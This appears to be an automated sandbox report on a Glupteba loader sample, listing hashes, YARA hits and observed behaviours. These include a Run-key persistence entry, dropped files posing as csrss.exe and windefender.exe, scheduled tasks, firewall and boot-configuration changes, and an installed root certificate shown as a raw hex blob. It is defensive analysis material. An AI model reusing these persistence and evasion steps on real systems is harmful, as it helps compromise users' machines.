General
Target

bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe

Filesize

3MB

Completed

20-05-2022 22:22

Task

behavioral2

Score
10/10
MD5

7da8b9fc5c5a67a06afc0749473f1b6e

SHA1

7b0c1138015a3a573469e1142e44be65b73979c5

SHA256

bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7

SHA256

5b9a364aa7cdf6340e709afb5a60eabd045ace1eaeefaa23fd89ede50bd0a51329d69a4afd49ca270ebb80014882ef7728cf72a362a1d0a63d01ba66fa244df7

Malware Config
Signatures 17

Filter: none

Defense Evasion
Discovery
Persistence
  • Glupteba

    Description

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload

    Reported IOCs

    resourceyara_rule
    behavioral2/memory/1708-131-0x0000000005800000-0x0000000005EF6000-memory.dmpfamily_glupteba
    behavioral2/memory/1708-132-0x0000000000400000-0x00000000036C8000-memory.dmpfamily_glupteba
    behavioral2/memory/1704-136-0x0000000000400000-0x00000000036C8000-memory.dmpfamily_glupteba
    behavioral2/memory/1684-146-0x0000000000400000-0x00000000036C8000-memory.dmpfamily_glupteba
  • Suspicious use of NtCreateUserProcessOtherParentProcess
    svchost.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 1412 created 17081412svchost.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    PID 1412 created 16841412svchost.execsrss.exe
    PID 1412 created 16841412svchost.execsrss.exe
    PID 1412 created 16841412svchost.execsrss.exe
    PID 1412 created 16841412svchost.execsrss.exe
  • Executes dropped EXE
    csrss.exepatch.exe

    Reported IOCs

    pidprocess
    1684csrss.exe
    4860patch.exe
  • Modifies Windows Firewall

    Tags

    TTPs

    Modify Existing Service
  • Adds Run key to start application
    bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe

    TTPs

    Registry Run Keys / Startup FolderModify Registry

    Reported IOCs

    descriptioniocprocess
    Set value (str)\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LittleHill = "\"C:\\Windows\\rss\\csrss.exe\""bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
  • Checks installed software on the system

    Description

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    Tags

    TTPs

    Query Registry
  • Modifies boot configuration data using bcdedit
    bcdedit.exe

    Reported IOCs

    pidprocess
    4788bcdedit.exe
  • Drops file in System32 directory
    csrss.exe

    Reported IOCs

    descriptioniocprocess
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoftcsrss.exe
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCachecsrss.exe
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaDatacsrss.exe
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15Acsrss.exe
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Contentcsrss.exe
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15Acsrss.exe
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506csrss.exe
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506csrss.exe
  • Drops file in Windows directory
    csrss.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe

    Reported IOCs

    descriptioniocprocess
    File createdC:\Windows\windefender.execsrss.exe
    File opened for modificationC:\Windows\windefender.execsrss.exe
    File opened for modificationC:\Windows\rssbf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    File createdC:\Windows\rss\csrss.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
  • Program crash
    WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

    Reported IOCs

    pidpid_targetprocesstarget process
    29681708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    18041708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    42161708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    45281708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    12761708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    23361708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    33201708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    49761708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    20161708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    42521708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    47001708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    36481708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    9401708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    34161708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    16001708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    46121708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    4841708WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    45241704WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    35241704WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    19721704WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    20121704WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    24601704WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    6961704WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    4281704WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    12201704WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    49241704WerFault.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
    34521684WerFault.execsrss.exe
    6241684WerFault.execsrss.exe
    29401684WerFault.execsrss.exe
    31201684WerFault.execsrss.exe
    39561684WerFault.execsrss.exe
    46001684WerFault.execsrss.exe
    13441684WerFault.execsrss.exe
    23201684WerFault.execsrss.exe
    43041684WerFault.execsrss.exe
    43521684WerFault.execsrss.exe
    46041684WerFault.execsrss.exe
    15321684WerFault.execsrss.exe
    50801684WerFault.execsrss.exe
    32601684WerFault.execsrss.exe
    36401684WerFault.execsrss.exe
    22961684WerFault.execsrss.exe
    49841684WerFault.execsrss.exe
    33761684WerFault.execsrss.exe
    6281684WerFault.execsrss.exe
    19161684WerFault.execsrss.exe
    41601684WerFault.execsrss.exe
    23481684WerFault.execsrss.exe
    45441684WerFault.execsrss.exe
    42241684WerFault.execsrss.exe
    38561684WerFault.execsrss.exe
    29721684WerFault.execsrss.exe
    45841684WerFault.execsrss.exe
    14801684WerFault.execsrss.exe
    6921684WerFault.execsrss.exe
    49881684WerFault.execsrss.exe
    17801684WerFault.execsrss.exe
    15881684WerFault.execsrss.exe
    31401684WerFault.execsrss.exe
    33121684WerFault.execsrss.exe
    19081684WerFault.execsrss.exe
    11601684WerFault.execsrss.exe
    46321684WerFault.execsrss.exe
    3601684WerFault.execsrss.exe
  • Creates scheduled task(s)
    schtasks.exeschtasks.exe

    Description

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    TTPs

    Scheduled Task

    Reported IOCs

    pidprocess
    3532schtasks.exe
    4236schtasks.exe
  • Modifies data under HKEY_USERS
    csrss.exe

    Reported IOCs

    descriptioniocprocess
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"csrss.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificatescsrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"csrss.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CAcsrss.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLscsrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2941 = "Sao Tome Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"csrss.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLscsrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time"csrss.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowedcsrss.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLscsrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"csrss.exe
  • Modifies system certificate store
    csrss.exe

    TTPs

    Install Root CertificateModify Registry

    Reported IOCs

    descriptioniocprocess
    Key created\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8csrss.exe
    Set value (data)\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827csrss.exe
    Set value (data)\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d